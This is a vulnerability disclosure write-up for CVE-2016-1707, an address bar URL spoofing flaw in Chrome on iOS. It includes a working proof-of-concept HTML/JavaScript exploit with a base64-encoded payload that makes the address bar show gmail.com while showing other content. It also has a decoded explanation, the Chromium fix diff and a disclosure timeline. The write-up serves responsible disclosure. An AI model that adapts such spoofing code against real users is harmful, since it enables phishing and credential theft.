Address Bar URL Spoofing on IOS Chrome (CVE-2016-1707), I report the vulnerability to Google in June 2016. Spoofing URL vulnerability can be forged a legitimate Web site address. Attacker can exploit this vulnerability to launch phishing attack.

Affected version: Chrome < v52.0.2743.82, IOS < v10

0x01 Vulnerability Details

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>

payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=";

function pwned() {

var t = window.open('https://www.gmail.com/', 'aaaa');
t.document.write(atob(payload));
t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");
}

</script>

<a href="https://hack.com::/" target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br>

How the vulnerability happened? First click on the ‘click me’ link, The browser opens a new window called aaaa, this page loads the “https://hack.com::", this address can be casually write. Continue running Pwned () after 500 microseconds , open the ‘https://www.gmail.com' in the aaaa window, of course, this URL can be empty. Up to now, all the code is running well, and the next code is the core code to trigger the vulnerability.

base64 payload code:

1
2
3
4
5
6
7
<body></body>
<script>
var link = document.createElement('a');
link.href = 'https://gmail.com::';
document.body.appendChild(link);
link.click();
</script>

Begin loading ‘https://gmail.com::’ in aaaa window , happying, Chrome allows to load ‘https://gmail.com::’, and then chrome address as a pending entry. Because ‘https://gmail.com::’ is an invalid address, i think Chrome should jump to about:blank, but chrome commits pending entry (‘https://gmail.com::') and promotes it as a last committed URL. At this point, the entire loading process is completed. A perfect Spoofing URL vulnerability was born.

0x02 Fixed

[IOS] Do not commit invalid URLs during web load.

[self optOutScrollsToTopForSubviews];

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Ensure the URL is as expected (and already reported to the delegate).
- DCHECK(currentURL == _lastRegisteredRequestURL)
+ // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be
+ // "about:blank".
+ DCHECK((currentURL == _lastRegisteredRequestURL) ||
+ (!_lastRegisteredRequestURL.is_valid() &&
+ _documentURL.spec() == url::kAboutBlankURL))
<< std::endl
<< "currentURL = [" << currentURL << "]" << std::endl
<< "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]";

// This is the point where the document's URL has actually changed, and
// pending navigation information should be applied to state information.
[self setDocumentURL:net::GURLWithNSURL([_webView URL])];
- DCHECK(_documentURL == _lastRegisteredRequestURL);
+
+ if (!_lastRegisteredRequestURL.is_valid() &&
+ _documentURL != _lastRegisteredRequestURL) {
+ // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|
+ // will be "about:blank".
+ [[self sessionController] updatePendingEntry:_documentURL];
+ }
+ DCHECK(_documentURL == _lastRegisteredRequestURL ||
+ (!_lastRegisteredRequestURL.is_valid() &&
+ _documentURL.spec() == url::kAboutBlankURL));
+

self.webStateImpl->OnNavigationCommitted(_documentURL);
[self commitPendingNavigationInfo];
if ([self currentBackForwardListItemHolder]->navigation_type() ==

0x03 Discloure Timeline:

2016/6/22 Report to Google,https://bugs.chromium.org/

2016/6/22 Google assigned,Security_Severity-High

2016/7/14 Google reward $3000

2016/7/20 Google advisory disclosed,CVE-2016-1707

2016/10/2 Google allpublic disclosed

0x04 References

[1] https://googlechromereleases.blogspot.com/2016/07/stable-channel-update.html

[2] https://bugs.chromium.org/p/chromium/issues/detail?id=622183

[3] https://chromium.googlesource.com/chromium/src/+/5967e8c0fe0b1e11cc09d6c88304ec504e909fd5